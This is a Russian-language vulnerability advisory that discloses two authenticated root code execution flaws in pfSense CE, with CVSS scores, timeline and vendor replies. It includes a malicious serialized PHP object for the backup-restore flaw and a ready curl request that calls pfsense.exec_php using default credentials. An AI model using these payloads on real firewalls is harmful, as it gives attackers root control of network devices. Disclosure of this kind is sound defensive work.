
Аутентифицированный RCE в Netgate pfSense CE 2.7.2 и 2.8.0
| Поле | Сведения |
|---|
| Исследователь | Nelson Adhepeau (@privlabs) |
| Вендор | Netgate |
| Продукт | pfSense Community Edition |
| Версии | 2.7.2 и 2.8.0 |
| Тип | Аутентифицированное удаленное выполнение кода |
| Раскрытие | Февраль 2026 |
| Уведомление вендора | 2 декабря 2025 |
| Назначение CVE | 28 января 2026 |
Данное исследование проводилось в изолированных лабораторных средах исключительно в образовательных целях и для повышения осведомленности в области безопасности. Все находки были ответственно раскрыты вендору до публикации. Данное сообщение не является приглашением к атакам на рабочие системы. Несанкционированное тестирование незаконно.
| Поле | Значение |
|---|---|
| CVSS v3.1 | 8.8 (Высокий) |
| Вектор | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-502, CWE-915 |
| Тип атаки | Аутентифицированная (администратор) |
| Компонент | Механизм резервного копирования/восстановления |
Механизм восстановления конфигурации pfSense вызывает unserialize() для
данных, контролируемых пользователем, без белого списка классов, проверки
ввода или изоляции.
Созданный резервный файл, содержащий вредоносный сериализованный PHP-объект,
внедряет произвольные команды через свойство post_reboot_commands,
которые выполняются через mwexec() с полными правами root.
[Атакующий] → Вход как администратор
→ Загрузка вредоносного резервного файла .xml
→ Запуск восстановления
→ pfSense вызывает unserialize() для данных атакующего
→ post_reboot_commands выполняются через mwexec()
→ [ROOT SHELL]
config.php — логика обработки восстановленияpfsense_module_installer — цель небезопасной десериализацииmwexec() — сток выполнения командO:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{
i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
}
}
"Подтверждено. Классифицировано как аутентифицированное злоупотребление администратором. Исправление выпускаться не будет." — Netgate
exec_php → RCE (pfSense CE 2.8.0)| Поле | Значение |
|---|---|
| CVSS v3.1 | 9.9 (Критический) |
| Вектор | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-284, CWE-915 |
| Тип атаки | Аутентифицированная (удаленная, базовая аутентификация) |
| Компонент | XMLRPC API — pfsense.exec_php |
pfSense CE 2.8.0 предоставляет метод XMLRPC pfsense.exec_php,
который выполняет произвольный PHP-код с правами root без проверки,
изоляции или каких-либо ограничений.
Конечная точка:
admin:pfsense)[Атакующий] → Отправка XMLRPC-запроса к /xmlrpc.php
→ Аутентификация как admin:pfsense (по умолчанию)
→ Вызов pfsense.exec_php с произвольным PHP
→ Код выполняется с правами root, без изоляции
→ [ROOT SHELL]
xmlrpc.php — точка входа APIpfsense.exec_php — небезопасное динамическое выполнение кодаcurl -k -u admin:pfsense \
-H "Content-Type: text/xml" \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param>
<value><string>system("id");</string></value>
</param>
</params>
</methodCall>' \
https://<target>/xmlrpc.php
"Подтверждено. Классифицировано как ожидаемое поведение для аутентифицированных пользователей. Исправление не планируется." — Netgate
Ноябрь 2025 → Уязвимости обнаружены
2 декабря 2025 → Ответственное раскрытие Netgate
→ Вендор подтвердил, исправление не запланировано
28 января 2026 → CVE ID назначены MITRE
Февраль 2026 → Публичное раскрытие
[email protected]Nelson Adhepeau — независимый исследователь безопасности